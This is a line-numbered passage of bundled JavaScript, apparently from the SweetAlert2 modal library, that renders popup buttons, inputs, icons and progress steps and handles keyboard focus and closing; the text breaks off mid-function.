  811. target.textContent = "";
  812. if (0 in elem) {
  813. for (let i = 0; i in elem; i++) {
  814. target.appendChild(elem[i].cloneNode(true));
  815. }
  816. } else {
  817. target.appendChild(elem.cloneNode(true));
  818. }
  819. };
  820. const animationEndEvent = (() => {
  821. if (isNodeEnv()) {
  822. return false;
  823. }
  824. const testEl = document.createElement("div");
  825. const transEndEventNames = {
  826. WebkitAnimation: "webkitAnimationEnd",
  827. // Chrome, Safari and Opera
  828. animation: "animationend"
  829. // Standard syntax
  830. };
  831. for (const i in transEndEventNames) {
  832. if (Object.prototype.hasOwnProperty.call(transEndEventNames, i) && typeof testEl.style[i] !== "undefined") {
  833. return transEndEventNames[i];
  834. }
  835. }
  836. return false;
  837. })();
  838. const renderActions = (instance, params) => {
  839. const actions = getActions();
  840. const loader = getLoader();
  841. if (!actions || !loader) {
  842. return;
  843. }
  844. if (!params.showConfirmButton && !params.showDenyButton && !params.showCancelButton) {
  845. hide(actions);
  846. } else {
  847. show(actions);
  848. }
  849. applyCustomClass(actions, params, "actions");
  850. renderButtons(actions, loader, params);
  851. setInnerHtml(loader, params.loaderHtml || "");
  852. applyCustomClass(loader, params, "loader");
  853. };
  854. function renderButtons(actions, loader, params) {
  855. const confirmButton = getConfirmButton();
  856. const denyButton = getDenyButton();
  857. const cancelButton = getCancelButton();
  858. if (!confirmButton || !denyButton || !cancelButton) {
  859. return;
  860. }
  861. renderButton(confirmButton, "confirm", params);
  862. renderButton(denyButton, "deny", params);
  863. renderButton(cancelButton, "cancel", params);
  864. handleButtonsStyling(confirmButton, denyButton, cancelButton, params);
  865. if (params.reverseButtons) {
  866. if (params.toast) {
  867. actions.insertBefore(cancelButton, confirmButton);
  868. actions.insertBefore(denyButton, confirmButton);
  869. } else {
  870. actions.insertBefore(cancelButton, loader);
  871. actions.insertBefore(denyButton, loader);
  872. actions.insertBefore(confirmButton, loader);
  873. }
  874. }
  875. }
  876. function handleButtonsStyling(confirmButton, denyButton, cancelButton, params) {
  877. if (!params.buttonsStyling) {
  878. removeClass([confirmButton, denyButton, cancelButton], swalClasses.styled);
  879. return;
  880. }
  881. addClass([confirmButton, denyButton, cancelButton], swalClasses.styled);
  882. if (params.confirmButtonColor) {
  883. confirmButton.style.backgroundColor = params.confirmButtonColor;
  884. addClass(confirmButton, swalClasses["default-outline"]);
  885. }
  886. if (params.denyButtonColor) {
  887. denyButton.style.backgroundColor = params.denyButtonColor;
  888. addClass(denyButton, swalClasses["default-outline"]);
  889. }
  890. if (params.cancelButtonColor) {
  891. cancelButton.style.backgroundColor = params.cancelButtonColor;
  892. addClass(cancelButton, swalClasses["default-outline"]);
  893. }
  894. }
  895. function renderButton(button, buttonType, params) {
  896. const buttonName = (
  897. /** @type {'Confirm' | 'Deny' | 'Cancel'} */
  898. capitalizeFirstLetter(buttonType)
  899. );
  900. toggle(button, params[`show${buttonName}Button`], "inline-block");
  901. setInnerHtml(button, params[`${buttonType}ButtonText`] || "");
  902. button.setAttribute("aria-label", params[`${buttonType}ButtonAriaLabel`] || "");
  903. button.className = swalClasses[buttonType];
  904. applyCustomClass(button, params, `${buttonType}Button`);
  905. }
  906. const renderCloseButton = (instance, params) => {
  907. const closeButton = getCloseButton();
  908. if (!closeButton) {
  909. return;
  910. }
  911. setInnerHtml(closeButton, params.closeButtonHtml || "");
  912. applyCustomClass(closeButton, params, "closeButton");
  913. toggle(closeButton, params.showCloseButton);
  914. closeButton.setAttribute("aria-label", params.closeButtonAriaLabel || "");
  915. };
  916. const renderContainer = (instance, params) => {
  917. const container = getContainer();
  918. if (!container) {
  919. return;
  920. }
  921. handleBackdropParam(container, params.backdrop);
  922. handlePositionParam(container, params.position);
  923. handleGrowParam(container, params.grow);
  924. applyCustomClass(container, params, "container");
  925. };
  926. function handleBackdropParam(container, backdrop) {
  927. if (typeof backdrop === "string") {
  928. container.style.background = backdrop;
  929. } else if (!backdrop) {
  930. addClass([document.documentElement, document.body], swalClasses["no-backdrop"]);
  931. }
  932. }
  933. function handlePositionParam(container, position) {
  934. if (!position) {
  935. return;
  936. }
  937. if (position in swalClasses) {
  938. addClass(container, swalClasses[position]);
  939. } else {
  940. warn('The "position" parameter is not valid, defaulting to "center"');
  941. addClass(container, swalClasses.center);
  942. }
  943. }
  944. function handleGrowParam(container, grow) {
  945. if (!grow) {
  946. return;
  947. }
  948. addClass(container, swalClasses[`grow-${grow}`]);
  949. }
  950. const inputClasses = ["input", "file", "range", "select", "radio", "checkbox", "textarea"];
  951. const renderInput = (instance, params) => {
  952. const popup = getPopup();
  953. const innerParams = privateProps.innerParams.get(instance);
  954. const rerender = !innerParams || params.input !== innerParams.input;
  955. inputClasses.forEach((inputClass) => {
  956. const inputContainer = getDirectChildByClass(popup, swalClasses[inputClass]);
  957. setAttributes(inputClass, params.inputAttributes);
  958. inputContainer.className = swalClasses[inputClass];
  959. if (rerender) {
  960. hide(inputContainer);
  961. }
  962. });
  963. if (params.input) {
  964. if (rerender) {
  965. showInput(params);
  966. }
  967. setCustomClass(params);
  968. }
  969. };
  970. const showInput = (params) => {
  971. if (!renderInputType[params.input]) {
  972. error(`Unexpected type of input! Expected "text", "email", "password", "number", "tel", "select", "radio", "checkbox", "textarea", "file" or "url", got "${params.input}"`);
  973. return;
  974. }
  975. const inputContainer = getInputContainer(params.input);
  976. const input = renderInputType[params.input](inputContainer, params);
  977. show(inputContainer);
  978. if (params.inputAutoFocus) {
  979. setTimeout(() => {
  980. focusInput(input);
  981. });
  982. }
  983. };
  984. const removeAttributes = (input) => {
  985. for (let i = 0; i < input.attributes.length; i++) {
  986. const attrName = input.attributes[i].name;
  987. if (!["id", "type", "value", "style"].includes(attrName)) {
  988. input.removeAttribute(attrName);
  989. }
  990. }
  991. };
  992. const setAttributes = (inputClass, inputAttributes) => {
  993. const input = getInput$1(getPopup(), inputClass);
  994. if (!input) {
  995. return;
  996. }
  997. removeAttributes(input);
  998. for (const attr in inputAttributes) {
  999. input.setAttribute(attr, inputAttributes[attr]);
  1000. }
  1001. };
  1002. const setCustomClass = (params) => {
  1003. const inputContainer = getInputContainer(params.input);
  1004. if (typeof params.customClass === "object") {
  1005. addClass(inputContainer, params.customClass.input);
  1006. }
  1007. };
  1008. const setInputPlaceholder = (input, params) => {
  1009. if (!input.placeholder || params.inputPlaceholder) {
  1010. input.placeholder = params.inputPlaceholder;
  1011. }
  1012. };
  1013. const setInputLabel = (input, prependTo, params) => {
  1014. if (params.inputLabel) {
  1015. const label = document.createElement("label");
  1016. const labelClass = swalClasses["input-label"];
  1017. label.setAttribute("for", input.id);
  1018. label.className = labelClass;
  1019. if (typeof params.customClass === "object") {
  1020. addClass(label, params.customClass.inputLabel);
  1021. }
  1022. label.innerText = params.inputLabel;
  1023. prependTo.insertAdjacentElement("beforebegin", label);
  1024. }
  1025. };
  1026. const getInputContainer = (inputType) => {
  1027. return getDirectChildByClass(getPopup(), swalClasses[inputType] || swalClasses.input);
  1028. };
  1029. const checkAndSetInputValue = (input, inputValue) => {
  1030. if (["string", "number"].includes(typeof inputValue)) {
  1031. input.value = `${inputValue}`;
  1032. } else if (!isPromise(inputValue)) {
  1033. warn(`Unexpected type of inputValue! Expected "string", "number" or "Promise", got "${typeof inputValue}"`);
  1034. }
  1035. };
  1036. const renderInputType = {};
  1037. renderInputType.text = renderInputType.email = renderInputType.password = renderInputType.number = renderInputType.tel = renderInputType.url = (input, params) => {
  1038. checkAndSetInputValue(input, params.inputValue);
  1039. setInputLabel(input, input, params);
  1040. setInputPlaceholder(input, params);
  1041. input.type = params.input;
  1042. return input;
  1043. };
  1044. renderInputType.file = (input, params) => {
  1045. setInputLabel(input, input, params);
  1046. setInputPlaceholder(input, params);
  1047. return input;
  1048. };
  1049. renderInputType.range = (range, params) => {
  1050. const rangeInput = range.querySelector("input");
  1051. const rangeOutput = range.querySelector("output");
  1052. checkAndSetInputValue(rangeInput, params.inputValue);
  1053. rangeInput.type = params.input;
  1054. checkAndSetInputValue(rangeOutput, params.inputValue);
  1055. setInputLabel(rangeInput, range, params);
  1056. return range;
  1057. };
  1058. renderInputType.select = (select, params) => {
  1059. select.textContent = "";
  1060. if (params.inputPlaceholder) {
  1061. const placeholder = document.createElement("option");
  1062. setInnerHtml(placeholder, params.inputPlaceholder);
  1063. placeholder.value = "";
  1064. placeholder.disabled = true;
  1065. placeholder.selected = true;
  1066. select.appendChild(placeholder);
  1067. }
  1068. setInputLabel(select, select, params);
  1069. return select;
  1070. };
  1071. renderInputType.radio = (radio) => {
  1072. radio.textContent = "";
  1073. return radio;
  1074. };
  1075. renderInputType.checkbox = (checkboxContainer, params) => {
  1076. const checkbox = getInput$1(getPopup(), "checkbox");
  1077. checkbox.value = "1";
  1078. checkbox.checked = Boolean(params.inputValue);
  1079. const label = checkboxContainer.querySelector("span");
  1080. setInnerHtml(label, params.inputPlaceholder);
  1081. return checkbox;
  1082. };
  1083. renderInputType.textarea = (textarea, params) => {
  1084. checkAndSetInputValue(textarea, params.inputValue);
  1085. setInputPlaceholder(textarea, params);
  1086. setInputLabel(textarea, textarea, params);
  1087. const getMargin = (el) => parseInt(window.getComputedStyle(el).marginLeft) + parseInt(window.getComputedStyle(el).marginRight);
  1088. setTimeout(() => {
  1089. if ("MutationObserver" in window) {
  1090. const initialPopupWidth = parseInt(window.getComputedStyle(getPopup()).width);
  1091. const textareaResizeHandler = () => {
  1092. if (!document.body.contains(textarea)) {
  1093. return;
  1094. }
  1095. const textareaWidth = textarea.offsetWidth + getMargin(textarea);
  1096. if (textareaWidth > initialPopupWidth) {
  1097. getPopup().style.width = `${textareaWidth}px`;
  1098. } else {
  1099. applyNumericalStyle(getPopup(), "width", params.width);
  1100. }
  1101. };
  1102. new MutationObserver(textareaResizeHandler).observe(textarea, {
  1103. attributes: true,
  1104. attributeFilter: ["style"]
  1105. });
  1106. }
  1107. });
  1108. return textarea;
  1109. };
  1110. const renderContent = (instance, params) => {
  1111. const htmlContainer = getHtmlContainer();
  1112. if (!htmlContainer) {
  1113. return;
  1114. }
  1115. applyCustomClass(htmlContainer, params, "htmlContainer");
  1116. if (params.html) {
  1117. parseHtmlToContainer(params.html, htmlContainer);
  1118. show(htmlContainer, "block");
  1119. } else if (params.text) {
  1120. htmlContainer.textContent = params.text;
  1121. show(htmlContainer, "block");
  1122. } else {
  1123. hide(htmlContainer);
  1124. }
  1125. renderInput(instance, params);
  1126. };
  1127. const renderFooter = (instance, params) => {
  1128. const footer = getFooter();
  1129. if (!footer) {
  1130. return;
  1131. }
  1132. toggle(footer, params.footer);
  1133. if (params.footer) {
  1134. parseHtmlToContainer(params.footer, footer);
  1135. }
  1136. applyCustomClass(footer, params, "footer");
  1137. };
  1138. const renderIcon = (instance, params) => {
  1139. const innerParams = privateProps.innerParams.get(instance);
  1140. const icon = getIcon();
  1141. if (!icon) {
  1142. return;
  1143. }
  1144. if (innerParams && params.icon === innerParams.icon) {
  1145. setContent(icon, params);
  1146. applyStyles(icon, params);
  1147. return;
  1148. }
  1149. if (!params.icon && !params.iconHtml) {
  1150. hide(icon);
  1151. return;
  1152. }
  1153. if (params.icon && Object.keys(iconTypes).indexOf(params.icon) === -1) {
  1154. error(`Unknown icon! Expected "success", "error", "warning", "info" or "question", got "${params.icon}"`);
  1155. hide(icon);
  1156. return;
  1157. }
  1158. show(icon);
  1159. setContent(icon, params);
  1160. applyStyles(icon, params);
  1161. addClass(icon, params.showClass && params.showClass.icon);
  1162. };
  1163. const applyStyles = (icon, params) => {
  1164. for (const [iconType, iconClassName] of Object.entries(iconTypes)) {
  1165. if (params.icon !== iconType) {
  1166. removeClass(icon, iconClassName);
  1167. }
  1168. }
  1169. addClass(icon, params.icon && iconTypes[params.icon]);
  1170. setColor(icon, params);
  1171. adjustSuccessIconBackgroundColor();
  1172. applyCustomClass(icon, params, "icon");
  1173. };
  1174. const adjustSuccessIconBackgroundColor = () => {
  1175. const popup = getPopup();
  1176. if (!popup) {
  1177. return;
  1178. }
  1179. const popupBackgroundColor = window.getComputedStyle(popup).getPropertyValue("background-color");
  1180. const successIconParts = popup.querySelectorAll("[class^=swal2-success-circular-line], .swal2-success-fix");
  1181. for (let i = 0; i < successIconParts.length; i++) {
  1182. successIconParts[i].style.backgroundColor = popupBackgroundColor;
  1183. }
  1184. };
  1185. const successIconHtml = `
  1186. <div class="swal2-success-circular-line-left"></div>
  1187. <span class="swal2-success-line-tip"></span> <span class="swal2-success-line-long"></span>
  1188. <div class="swal2-success-ring"></div> <div class="swal2-success-fix"></div>
  1189. <div class="swal2-success-circular-line-right"></div>
  1190. `;
  1191. const errorIconHtml = `
  1192. <span class="swal2-x-mark">
  1193. <span class="swal2-x-mark-line-left"></span>
  1194. <span class="swal2-x-mark-line-right"></span>
  1195. </span>
  1196. `;
  1197. const setContent = (icon, params) => {
  1198. if (!params.icon) {
  1199. return;
  1200. }
  1201. let oldContent = icon.innerHTML;
  1202. let newContent;
  1203. if (params.iconHtml) {
  1204. newContent = iconContent(params.iconHtml);
  1205. } else if (params.icon === "success") {
  1206. newContent = successIconHtml;
  1207. oldContent = oldContent.replace(/ style=".*?"/g, "");
  1208. } else if (params.icon === "error") {
  1209. newContent = errorIconHtml;
  1210. } else {
  1211. const defaultIconHtml = {
  1212. question: "?",
  1213. warning: "!",
  1214. info: "i"
  1215. };
  1216. newContent = iconContent(defaultIconHtml[params.icon]);
  1217. }
  1218. if (oldContent.trim() !== newContent.trim()) {
  1219. setInnerHtml(icon, newContent);
  1220. }
  1221. };
  1222. const setColor = (icon, params) => {
  1223. if (!params.iconColor) {
  1224. return;
  1225. }
  1226. icon.style.color = params.iconColor;
  1227. icon.style.borderColor = params.iconColor;
  1228. for (const sel of [".swal2-success-line-tip", ".swal2-success-line-long", ".swal2-x-mark-line-left", ".swal2-x-mark-line-right"]) {
  1229. setStyle(icon, sel, "backgroundColor", params.iconColor);
  1230. }
  1231. setStyle(icon, ".swal2-success-ring", "borderColor", params.iconColor);
  1232. };
  1233. const iconContent = (content) => `<div class="${swalClasses["icon-content"]}">${content}</div>`;
  1234. const renderImage = (instance, params) => {
  1235. const image = getImage();
  1236. if (!image) {
  1237. return;
  1238. }
  1239. if (!params.imageUrl) {
  1240. hide(image);
  1241. return;
  1242. }
  1243. show(image, "");
  1244. image.setAttribute("src", params.imageUrl);
  1245. image.setAttribute("alt", params.imageAlt || "");
  1246. applyNumericalStyle(image, "width", params.imageWidth);
  1247. applyNumericalStyle(image, "height", params.imageHeight);
  1248. image.className = swalClasses.image;
  1249. applyCustomClass(image, params, "image");
  1250. };
  1251. const renderPopup = (instance, params) => {
  1252. const container = getContainer();
  1253. const popup = getPopup();
  1254. if (!container || !popup) {
  1255. return;
  1256. }
  1257. if (params.toast) {
  1258. applyNumericalStyle(container, "width", params.width);
  1259. popup.style.width = "100%";
  1260. const loader = getLoader();
  1261. loader && popup.insertBefore(loader, getIcon());
  1262. } else {
  1263. applyNumericalStyle(popup, "width", params.width);
  1264. }
  1265. applyNumericalStyle(popup, "padding", params.padding);
  1266. if (params.color) {
  1267. popup.style.color = params.color;
  1268. }
  1269. if (params.background) {
  1270. popup.style.background = params.background;
  1271. }
  1272. hide(getValidationMessage());
  1273. addClasses$1(popup, params);
  1274. };
  1275. const addClasses$1 = (popup, params) => {
  1276. const showClass = params.showClass || {};
  1277. popup.className = `${swalClasses.popup} ${isVisible$1(popup) ? showClass.popup : ""}`;
  1278. if (params.toast) {
  1279. addClass([document.documentElement, document.body], swalClasses["toast-shown"]);
  1280. addClass(popup, swalClasses.toast);
  1281. } else {
  1282. addClass(popup, swalClasses.modal);
  1283. }
  1284. applyCustomClass(popup, params, "popup");
  1285. if (typeof params.customClass === "string") {
  1286. addClass(popup, params.customClass);
  1287. }
  1288. if (params.icon) {
  1289. addClass(popup, swalClasses[`icon-${params.icon}`]);
  1290. }
  1291. };
  1292. const renderProgressSteps = (instance, params) => {
  1293. const progressStepsContainer = getProgressSteps();
  1294. if (!progressStepsContainer) {
  1295. return;
  1296. }
  1297. const {
  1298. progressSteps,
  1299. currentProgressStep
  1300. } = params;
  1301. if (!progressSteps || progressSteps.length === 0 || currentProgressStep === void 0) {
  1302. hide(progressStepsContainer);
  1303. return;
  1304. }
  1305. show(progressStepsContainer);
  1306. progressStepsContainer.textContent = "";
  1307. if (currentProgressStep >= progressSteps.length) {
  1308. warn("Invalid currentProgressStep parameter, it should be less than progressSteps.length (currentProgressStep like JS arrays starts from 0)");
  1309. }
  1310. progressSteps.forEach((step, index) => {
  1311. const stepEl = createStepElement(step);
  1312. progressStepsContainer.appendChild(stepEl);
  1313. if (index === currentProgressStep) {
  1314. addClass(stepEl, swalClasses["active-progress-step"]);
  1315. }
  1316. if (index !== progressSteps.length - 1) {
  1317. const lineEl = createLineElement(params);
  1318. progressStepsContainer.appendChild(lineEl);
  1319. }
  1320. });
  1321. };
  1322. const createStepElement = (step) => {
  1323. const stepEl = document.createElement("li");
  1324. addClass(stepEl, swalClasses["progress-step"]);
  1325. setInnerHtml(stepEl, step);
  1326. return stepEl;
  1327. };
  1328. const createLineElement = (params) => {
  1329. const lineEl = document.createElement("li");
  1330. addClass(lineEl, swalClasses["progress-step-line"]);
  1331. if (params.progressStepsDistance) {
  1332. applyNumericalStyle(lineEl, "width", params.progressStepsDistance);
  1333. }
  1334. return lineEl;
  1335. };
  1336. const renderTitle = (instance, params) => {
  1337. const title = getTitle();
  1338. if (!title) {
  1339. return;
  1340. }
  1341. toggle(title, params.title || params.titleText, "block");
  1342. if (params.title) {
  1343. parseHtmlToContainer(params.title, title);
  1344. }
  1345. if (params.titleText) {
  1346. title.innerText = params.titleText;
  1347. }
  1348. applyCustomClass(title, params, "title");
  1349. };
  1350. const render = (instance, params) => {
  1351. renderPopup(instance, params);
  1352. renderContainer(instance, params);
  1353. renderProgressSteps(instance, params);
  1354. renderIcon(instance, params);
  1355. renderImage(instance, params);
  1356. renderTitle(instance, params);
  1357. renderCloseButton(instance, params);
  1358. renderContent(instance, params);
  1359. renderActions(instance, params);
  1360. renderFooter(instance, params);
  1361. const popup = getPopup();
  1362. if (typeof params.didRender === "function" && popup) {
  1363. params.didRender(popup);
  1364. }
  1365. };
  1366. const isVisible = () => {
  1367. return isVisible$1(getPopup());
  1368. };
  1369. const clickConfirm = () => getConfirmButton() && getConfirmButton().click();
  1370. const clickDeny = () => getDenyButton() && getDenyButton().click();
  1371. const clickCancel = () => getCancelButton() && getCancelButton().click();
  1372. const DismissReason = Object.freeze({
  1373. cancel: "cancel",
  1374. backdrop: "backdrop",
  1375. close: "close",
  1376. esc: "esc",
  1377. timer: "timer"
  1378. });
  1379. const removeKeydownHandler = (globalState2) => {
  1380. if (globalState2.keydownTarget && globalState2.keydownHandlerAdded) {
  1381. globalState2.keydownTarget.removeEventListener("keydown", globalState2.keydownHandler, {
  1382. capture: globalState2.keydownListenerCapture
  1383. });
  1384. globalState2.keydownHandlerAdded = false;
  1385. }
  1386. };
  1387. const addKeydownHandler = (instance, globalState2, innerParams, dismissWith) => {
  1388. removeKeydownHandler(globalState2);
  1389. if (!innerParams.toast) {
  1390. globalState2.keydownHandler = (e) => keydownHandler(instance, e, dismissWith);
  1391. globalState2.keydownTarget = innerParams.keydownListenerCapture ? window : getPopup();
  1392. globalState2.keydownListenerCapture = innerParams.keydownListenerCapture;
  1393. globalState2.keydownTarget.addEventListener("keydown", globalState2.keydownHandler, {
  1394. capture: globalState2.keydownListenerCapture
  1395. });
  1396. globalState2.keydownHandlerAdded = true;
  1397. }
  1398. };
  1399. const setFocus = (index, increment) => {
  1400. const focusableElements = getFocusableElements();
  1401. if (focusableElements.length) {
  1402. index = index + increment;
  1403. if (index === focusableElements.length) {
  1404. index = 0;
  1405. } else if (index === -1) {
  1406. index = focusableElements.length - 1;
  1407. }
  1408. focusableElements[index].focus();
  1409. return;
  1410. }
  1411. getPopup().focus();
  1412. };
  1413. const arrowKeysNextButton = ["ArrowRight", "ArrowDown"];
  1414. const arrowKeysPreviousButton = ["ArrowLeft", "ArrowUp"];
  1415. const keydownHandler = (instance, event, dismissWith) => {
  1416. const innerParams = privateProps.innerParams.get(instance);
  1417. if (!innerParams) {
  1418. return;
  1419. }
  1420. if (event.isComposing || event.keyCode === 229) {
  1421. return;
  1422. }
  1423. if (innerParams.stopKeydownPropagation) {
  1424. event.stopPropagation();
  1425. }
  1426. if (event.key === "Enter") {
  1427. handleEnter(instance, event, innerParams);
  1428. } else if (event.key === "Tab") {
  1429. handleTab(event);
  1430. } else if ([...arrowKeysNextButton, ...arrowKeysPreviousButton].includes(event.key)) {
  1431. handleArrows(event.key);
  1432. } else if (event.key === "Escape") {
  1433. handleEsc(event, innerParams, dismissWith);
  1434. }
  1435. };
  1436. const handleEnter = (instance, event, innerParams) => {
  1437. if (!callIfFunction(innerParams.allowEnterKey)) {
  1438. return;
  1439. }
  1440. if (event.target && instance.getInput() && event.target instanceof HTMLElement && event.target.outerHTML === instance.getInput().outerHTML) {
  1441. if (["textarea", "file"].includes(innerParams.input)) {
  1442. return;
  1443. }
  1444. clickConfirm();
  1445. event.preventDefault();
  1446. }
  1447. };
  1448. const handleTab = (event) => {
  1449. const targetElement = event.target;
  1450. const focusableElements = getFocusableElements();
  1451. let btnIndex = -1;
  1452. for (let i = 0; i < focusableElements.length; i++) {
  1453. if (targetElement === focusableElements[i]) {
  1454. btnIndex = i;
  1455. break;
  1456. }
  1457. }
  1458. if (!event.shiftKey) {
  1459. setFocus(btnIndex, 1);
  1460. } else {
  1461. setFocus(btnIndex, -1);
  1462. }
  1463. event.stopPropagation();
  1464. event.preventDefault();
  1465. };
  1466. const handleArrows = (key) => {
  1467. const confirmButton = getConfirmButton();
  1468. const denyButton = getDenyButton();
  1469. const cancelButton = getCancelButton();
  1470. const buttons = [confirmButton, denyButton, cancelButton];
  1471. if (document.activeElement instanceof HTMLElement && !buttons.includes(document.activeElement)) {
  1472. return;
  1473. }
  1474. const sibling = arrowKeysNextButton.includes(key) ? "nextElementSibling" : "previousElementSibling";
  1475. let buttonToFocus = document.activeElement;
  1476. for (let i = 0; i < getActions().children.length; i++) {
  1477. buttonToFocus = buttonToFocus[sibling];
  1478. if (!buttonToFocus) {
  1479. return;
  1480. }
  1481. if (buttonToFocus instanceof HTMLButtonElement && isVisible$1(buttonToFocus)) {
  1482. break;
  1483. }
  1484. }
  1485. if (buttonToFocus instanceof HTMLButtonElement) {
  1486. buttonToFocus.focus();
  1487. }
  1488. };
  1489. const handleEsc = (event, innerParams, dismissWith) => {
  1490. if (callIfFunction(innerParams.allowEscapeKey)) {
  1491. event.preventDefault();
  1492. dismissWith(DismissReason.esc);
  1493. }
  1494. };
  1495. var privateMethods = {
  1496. swalPromiseResolve: /* @__PURE__ */ new WeakMap(),
  1497. swalPromiseReject: /* @__PURE__ */ new WeakMap()
  1498. };
  1499. const setAriaHidden = () => {
  1500. const bodyChildren = Array.from(document.body.children);
  1501. bodyChildren.forEach((el) => {
  1502. if (el === getContainer() || el.contains(getContainer())) {
  1503. return;
  1504. }
  1505. if (el.hasAttribute("aria-hidden")) {
  1506. el.setAttribute("data-previous-aria-hidden", el.getAttribute("aria-hidden") || "");
  1507. }
  1508. el.setAttribute("aria-hidden", "true");
  1509. });
  1510. };
  1511. const unsetAriaHidden = () => {
  1512. const bodyChildren = Array.from(document.body.children);
  1513. bodyChildren.forEach((el) => {
  1514. if (el.hasAttribute("data-previous-aria-hidden")) {
  1515. el.setAttribute("aria-hidden", el.getAttribute("data-previous-aria-hidden") || "");
  1516. el.removeAttribute("data-previous-aria-hidden");
  1517. } else {
  1518. el.removeAttribute("aria-hidden");
  1519. }
  1520. });
  1521. };
  1522. const isSafariOrIOS = typeof window !== "undefined" && !!window.GestureEvent;
  1523. const iOSfix = () => {
  1524. if (isSafariOrIOS && !hasClass(document.body, swalClasses.iosfix)) {
  1525. const offset = document.body.scrollTop;
  1526. document.body.style.top = `${offset * -1}px`;
  1527. addClass(document.body, swalClasses.iosfix);
  1528. lockBodyScroll();
  1529. }
  1530. };
  1531. const lockBodyScroll = () => {
  1532. const container = getContainer();
  1533. let preventTouchMove;
  1534. container.ontouchstart = (event) => {
  1535. preventTouchMove = shouldPreventTouchMove(event);
  1536. };
  1537. container.ontouchmove = (event) => {
  1538. if (preventTouchMove) {
  1539. event.preventDefault();
  1540. event.stopPropagation();
  1541. }
  1542. };
  1543. };
  1544. const shouldPreventTouchMove = (event) => {
  1545. const target = event.target;
  1546. const container = getContainer();
  1547. if (isStylus(event) || isZoom(event)) {
  1548. return false;
  1549. }
  1550. if (target === container) {
  1551. return true;
  1552. }
  1553. if (!isScrollable(container) && target instanceof HTMLElement && target.tagName !== "INPUT" && // #1603
  1554. target.tagName !== "TEXTAREA" && // #2266
  1555. !(isScrollable(getHtmlContainer()) && // #1944
  1556. getHtmlContainer().contains(target))) {
  1557. return true;
  1558. }
  1559. return false;
  1560. };
  1561. const isStylus = (event) => {
  1562. return event.touches && event.touches.length && event.touches[0].touchType === "stylus";
  1563. };
  1564. const isZoom = (event) => {
  1565. return event.touches && event.touches.length > 1;
  1566. };
  1567. const undoIOSfix = () => {
  1568. if (hasClass(document.body, swalClasses.iosfix)) {
  1569. const offset = parseInt(document.body.style.top, 10);
  1570. removeClass(document.body, swalClasses.iosfix);
  1571. document.body.style.top = "";
  1572. document.body.scrollTop = offset * -1;
  1573. }
  1574. };
  1575. const measureScrollbar = () => {
  1576. const scrollDiv = document.createElement("div");
  1577. scrollDiv.className = swalClasses["scrollbar-measure"];
  1578. document.body.appendChild(scrollDiv);
  1579. const scrollbarWidth = scrollDiv.getBoundingClientRect().width - scrollDiv.clientWidth;
  1580. document.body.removeChild(scrollDiv);
  1581. return scrollbarWidth;
  1582. };
  1583. let previousBodyPadding = null;
  1584. const fixScrollbar = () => {
  1585. if (previousBodyPadding !== null) {
  1586. return;
  1587. }
  1588. if (document.body.scrollHeight > window.innerHeight) {
  1589. previousBodyPadding = parseInt(window.getComputedStyle(document.body).getPropertyValue("padding-right"));
  1590. document.body.style.paddingRight = `${previousBodyPadding + measureScrollbar()}px`;
  1591. }
  1592. };
  1593. const undoScrollbar = () => {
  1594. if (previousBodyPadding !== null) {
  1595. document.body.style.paddingRight = `${previousBodyPadding}px`;
  1596. previousBodyPadding = null;
  1597. }
  1598. };
  1599. function removePopupAndResetState(instance, container, returnFocus, didClose) {
  1600. if (isToast()) {
  1601. triggerDidCloseAndDispose(instance, didClose);
  1602. } else {
  1603. restoreActiveElement(returnFocus).then(() => triggerDidCloseAndDispose(instance, didClose));
  1604. removeKeydownHandler(globalState);
  1605. }
  1606. if (isSafariOrIOS) {
  1607. container.setAttribute("style", "display:none !important");
  1608. container.removeAttribute("class");
  1609. container.innerHTML = "";
  1610. } else {
  1611. container.remove();
  1612. }
  1613. if (isModal()) {
  1614. undoScrollbar();
  1615. undoIOSfix();
  1616. unsetAriaHidden();
  1617. }
  1618. removeBodyClasses();
  1619. }
  1620. function removeBodyClasses() {
  1621. removeClass([document.documentElement, document.body], [swalClasses.shown, swalClasses["height-auto"], swalClasses["no-backdrop"], swalClasses["toast-shown"]]);
  1622. }
  1623. function close(resolveValue) {
  1624. resolveValue = prepareResolveValue(resolveValue);
  1625. const swalPromiseResolve = privateMethods.swalPromiseResolve.get(this);
  1626. const didClose = triggerClosePopup(this);
  1627. if (this.isAwaitingPromise) {
  1628. if (!resolveValue.isDismissed) {
  1629. handleAwaitingPromise(this);
  1630. swalPromiseResolve(resolveValue);
  1631. }
  1632. } else if (didClose) {
  1633. swalPromiseResolve(resolveValue);
  1634. }
  1635. }
  1636. const triggerClosePopup = (instance) => {
  1637. const popup = getPopup();
  1638. if (!popup) {
  1639. return false;
  1640. }
  1641. const innerParams = privateProps.innerParams.get(instance);
  1642. if (!innerParams || hasClass(popup, innerParams.hideClass.popup)) {
  1643. return false;
  1644. }
  1645. removeClass(popup, innerParams.showClass.popup);
  1646. addClass(popup, innerParams.hideClass.popup);
  1647. const backdrop = getContainer();
  1648. removeClass(backdrop, innerParams.showClass.backdrop);
  1649. addClass(backdrop, innerParams.hideClass.backdrop);
  1650. handlePopupAnimation(instance, popup, innerParams);
  1651. return true;
  1652. };
  1653. function rejectPromise(error2) {
  1654. const rejectPromise2 = privateMethods.swalPromiseReject.get(this);
  1655. handleAwaitingPromise(this);
  1656. if (rejectPromise2) {
  1657. rejectPromise2(error2);
  1658. }
  1659. }
  1660. const handleAwaitingPromise = (instance) => {
  1661. if (instance.isAwaitingPromise) {
  1662. delete instance.isAwaitingPromise;
  1663. if (!privateProps.innerParams.get(instance)) {
  1664. instance._destroy();
  1665. }
  1666. }
  1667. };
  1668. const prepareResolveValue = (resolveValue) => {
  1669. if (typeof resolveValue === "undefined") {
  1670. return {
  1671. isConfirmed: false,
  1672. isDenied: false,
  1673. isDismissed: true
  1674. };
  1675. }
  1676. return Object.assign({
  1677. isConfirmed: false,
  1678. isDenied: false,
  1679. isDismissed: false
  1680. }, resolveValue);
  1681. };
  1682. const handlePopupAnimation = (instance, popup, innerParams) => {
  1683. const container = getContainer();
  1684. const animationIsSupported = animationEndEvent && hasCssAnimation(popup);
  1685. if (typeof innerParams.willClose === "function") {
  1686. innerParams.willClose(popup);
  1687. }
  1688. if (animationIsSupported) {
  1689. animatePopup(instance, popup, container, innerParams.returnFocus, innerParams.didClose);
  1690. } else {
  1691. removePopupAndResetState(instance, container, innerParams.returnFocus, innerParams.didClose);
  1692. }
  1693. };
  1694. const animatePopup = (instance, popup, container, returnFocus, didClose) => {
  1695. globalState.swalCloseEventFinishedCallback = removePopupAndResetState.bind(null, instance, container, returnFocus, didClose);
  1696. popup.addEventListener(animationEndEvent, function(e) {
  1697. if (e.target === popup) {
